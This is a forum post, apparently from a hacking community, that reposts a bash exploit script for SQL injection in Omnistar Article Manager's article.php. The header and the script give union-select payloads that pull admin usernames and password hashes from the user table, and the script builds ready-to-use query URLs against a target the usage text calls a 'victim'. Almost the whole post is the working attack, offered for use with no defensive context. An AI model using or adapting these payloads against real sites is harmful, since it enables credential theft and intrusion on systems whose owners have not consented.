Jump to content
nullbyte

Omnistar Article Manager Software (article.php) SQL Injectio

Recommended Posts

Posted

#/bin/bash



####################################################################################################################

# #

# Omnistar Article Manager Software (article.php) Remote SQL Injection Exploit #

# #

# Exploit Coded By : Cold z3ro #

# #

# [url]http://Hackteach.org[/url] #

# #

# #

# Exploit : /article.php?op=favorite&article_id=4&page_id=-1'/**/union/**/select/**/name,1/**/from/**/user/* #

# /article.php?op=favorite&article_id=4&page_id=-1'/**/union/**/select/**/password,1/**/from/**/user/* #

# #

# Example : [url]http://demo.hostcontroladmin.com/demo_press2/articles/[/url] #

# #

####################################################################################################################



URL=$1;

PATH="$2/";



echo -e "\n";

echo -e "\n";

echo -e "######################################################################################"

echo -e "# Omnistar Article Manager Software (article.php) Remote SQL Injection Exploit #"

echo -e "# Exploit Coded By By : Cold z3ro #"

echo -e "# [url]http://Hackteach.org[/url] #"

echo -e "######################################################################################"



if [ "$URL" = "" ]; then

echo -e "\n USAGE: $0 [URL] [NukePath]"

echo -e " Example: $0 [url]www.victim.net[/url] NukePath\n"

exit

fi;



if [ $PATH = "/" ]; then PATH=""; fi;



name_query_url="http://$URL/$PATH""article.php?op=favorite&article_id=4&page_id=-1'/**/union/**/select/**/name,1/**/from/**/user/*";



password_query_url="http://$URL/$PATH""article.php?op=favorite&article_id=4&page_id=-1'/**/union/**/select/**/password,1/**/from/**/user/*";



echo -e "\n";

echo -e "\n";

echo -e "Direct Query URL For Admin name: \n";

echo -e ""$name_query_url"\n";

echo -e "\n";

echo -e "Direct Query URL For Admin Hash:\n";

echo -e ""$password_query_url"\n";

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...